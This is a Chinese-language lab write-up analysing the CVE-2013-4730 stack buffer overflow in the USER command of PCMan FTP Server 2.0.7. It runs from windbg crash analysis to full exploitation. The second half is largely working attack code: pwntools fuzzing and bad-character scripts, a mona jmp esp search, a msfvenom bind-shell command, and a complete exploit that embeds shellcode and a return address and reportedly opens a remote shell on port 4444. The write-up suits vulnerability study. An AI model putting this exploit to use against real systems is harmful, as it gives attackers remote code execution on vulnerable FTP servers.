PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析
一、漏洞信息
1. 漏洞简述
PCMan FTP Server用于打开ftp服务,用于上传文件和管理有线及无线设备的软件
二、漏洞复现
1. 环境搭建
-
靶机环境:Windows xp sp3
-
靶机配置:
- PCMan FTP Server 2.0.7
- windbg
- mona
-
攻击机:kali 2.0
-
攻击机配置:
2. 复现过程
在靶机中运行PCMan FTP,确保21号端口已打开,用windbg附加程序
由漏洞的exploit可以得知USER字段存在溢出漏洞,编写poc并在 kali 中运行测试
from pwn import *
context(log_level="debug")
io = remote("192.168.112.146", 21)
print(io.recv())
#使用pwntools的cyclic函数构造唯一子串序列
fuzz = flat("USER ", cyclic(8000))
io.sendline(fuzz)
print(io.recv())
windbg查看pcman ftp的运行状态,发现eip指向了0x7561617a非法地址,程序崩溃
观察栈帧结构,栈已被poc发送的数据填满,可以确定存在缓冲区溢出漏洞
三、漏洞分析
1. 背景知识
最简单的缓冲区溢出,分析这个漏洞主要熟悉一下用windbg进行栈回溯
2. 分析思路
思路一
ftp作为网络通信协议,客户端与浏览器进行交互使用socket,那么一定使用了recv()函数,在windbg中对recv()函数下断点,发送poc并单步跟踪,能够找到漏洞函数
思路二
栈回溯:在触发漏洞的内存地址下断点,触发漏洞时观察栈帧的结构,能够找到漏洞函数的地址。这是本文分析使用的方法
3.详细分析
查看触发栈溢出漏洞时的栈帧结构,那么溢出的数据就不能覆盖函数返回地址,就要确定返回地址的位置:发送poc后,eip指向返回地址0x7561617a
在利用pwntools的cyclic_find()函数查看0x7561617a在唯一子串序列中的位置,可以确定返回地址在序列的位置为2000(这也是为什么poc使用cyclic生成字符串的原因)
重新发送poc字符串
fuzz = flat("USER ", cyclic(2000), 'aaaa')
此时返回地址已被‘aaaa’覆盖,令进程在覆盖返回地址之前断下,选择栈中返回地址之前设置硬件条件断点,这里我选择0x0012ed98
ba w4 0x0012ed98 ".if(poi(0x0012ed98)==0x74616174){}.else{gc}"
重新发送poc后进程在0x004173af出断下,kb查看栈信息
栈回溯,利用IDA查看造成缓冲区赋值的函数
0x00417428处函数write_char(),向指针地址写入一个字节的数据,地址赋值不可能只写一个字节,一定有一个函数循环调用write_char()
上一层0x00412ced,sprintf函数,继续返回上一层0x00403EE6,即sub_403E60()函数
这里使用sprintf向Buffer缓冲区赋值
sprintf第二个参数aDDD02d02d05dSS是格式化格式%d/%d/%d [%02d:%02d] (%05d) %s> %s
格式化参数v5是int类型,a2是函数参数char *类型
猜想:是没有控制用户的输入长度,直接将字符串a2复制到局部变量缓冲区buffer导致栈溢出
验证,在.text:00403EE6 E8 D4 ED 00 00 call _sprintf设置断点,查看参数a2
查看0012edc4的值,确定是用户的输入字符串,猜想正确
这里格式化获取系统时间,并将数据写入文件,可能是为了记录信息到日志中,查看PCMan ftp的日志文件,更加确认了我们的猜想
四、漏洞利用
1. 利用条件
靶机windows xp sp3关闭DEP保护,使栈上的数据可执行
2. 利用过程
2.1 排除坏字符
利用mona插件生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可
!py mona bytearray -b "\x00\x0a\0d"
from pwn import *
context(log_level="debug")
bytearray = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22"
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2"
"\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 'aaaa', bytearray)
io.sendline(payload)
print(io.recv())
2.2 查找jmp esp命令
使进程跳转到栈中执行用jmp esp指令,查询加载模块中jmp esp的地址,机器码 \xff\xe4
!py mona find -s "\xff\xe4" -m
选择一个拥有可执行权限EXECUTE的地址
2.3 生成shellcode
利用metasploit生成windows反弹shell的shellcode,开放本地端口4444,排除坏数据’\x00\x0a\x0d’,以py格式输出,同时开头由0x20个nop作为滑板
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d' -n 0x20 -f py
2.4 编写exploit
from pwn import *
context(log_level="debug")
buf = b""
buf += b"\x92\x40\x9f\x93\x91\x93\x41\x49\x4a\x37\x3f\x9b\x93"
buf += b"\x43\x4a\xf9\x4a\x91\x42\x9f\x49\x41\xf8\x9f\xf5\x4a"
buf += b"\x92\xfd\x98\x92\x93\x41\xba\x73\xe1\xfa\x7e\xdb\xdb"
buf += b"\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\x83\xe8\xfc\x31"
buf += b"\x50\x0e\x03\x23\xef\x18\x8b\x3f\x07\x5e\x74\xbf\xd8"
buf += b"\x3f\xfc\x5a\xe9\x7f\x9a\x2f\x5a\xb0\xe8\x7d\x57\x3b"
buf += b"\xbc\x95\xec\x49\x69\x9a\x45\xe7\x4f\x95\x56\x54\xb3"
buf += b"\xb4\xd4\xa7\xe0\x16\xe4\x67\xf5\x57\x21\x95\xf4\x05"
buf += b"\xfa\xd1\xab\xb9\x8f\xac\x77\x32\xc3\x21\xf0\xa7\x94"
buf += b"\x40\xd1\x76\xae\x1a\xf1\x79\x63\x17\xb8\x61\x60\x12"
buf += b"\x72\x1a\x52\xe8\x85\xca\xaa\x11\x29\x33\x03\xe0\x33"
buf += b"\x74\xa4\x1b\x46\x8c\xd6\xa6\x51\x4b\xa4\x7c\xd7\x4f"
buf += b"\x0e\xf6\x4f\xab\xae\xdb\x16\x38\xbc\x90\x5d\x66\xa1"
buf += b"\x27\xb1\x1d\xdd\xac\x34\xf1\x57\xf6\x12\xd5\x3c\xac"
buf += b"\x3b\x4c\x99\x03\x43\x8e\x42\xfb\xe1\xc5\x6f\xe8\x9b"
buf += b"\x84\xe7\xdd\x91\x36\xf8\x49\xa1\x45\xca\xd6\x19\xc1"
buf += b"\x66\x9e\x87\x16\x88\xb5\x70\x88\x77\x36\x81\x81\xb3"
buf += b"\x62\xd1\xb9\x12\x0b\xba\x39\x9a\xde\x57\x31\x3d\xb1"
buf += b"\x45\xbc\xfd\x61\xca\x6e\x96\x6b\xc5\x51\x86\x93\x0f"
buf += b"\xfa\x2f\x6e\xb0\x15\xec\xe7\x56\x7f\x1c\xae\xc1\x17"
buf += b"\xde\x95\xd9\x80\x21\xfc\x71\x26\x69\x16\x45\x49\x6a"
buf += b"\x3c\xe1\xdd\xe1\x53\x35\xfc\xf5\x79\x1d\x69\x61\xf7"
buf += b"\xcc\xd8\x13\x08\xc5\x8a\xb0\x9b\x82\x4a\xbe\x87\x1c"
buf += b"\x1d\x97\x76\x55\xcb\x05\x20\xcf\xe9\xd7\xb4\x28\xa9"
buf += b"\x03\x05\xb6\x30\xc1\x31\x9c\x22\x1f\xb9\x98\x16\xcf"
buf += b"\xec\x76\xc0\xa9\x46\x39\xba\x63\x34\x93\x2a\xf5\x76"
buf += b"\x24\x2c\xfa\x52\xd2\xd0\x4b\x0b\xa3\xef\x64\xdb\x23"
buf += b"\x88\x98\x7b\xcb\x43\x19\x8b\x86\xc9\x08\x04\x4f\x98"
buf += b"\x08\x49\x70\x77\x4e\x74\xf3\x7d\x2f\x83\xeb\xf4\x2a"
buf += b"\xcf\xab\xe5\x46\x40\x5e\x09\xf4\x61\x4b"
io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 0x77f8b227, buf)
io.sendline(payload)
print(io.recv())
在攻击机发送exploit,连接靶机4444端口成功
五、参考文献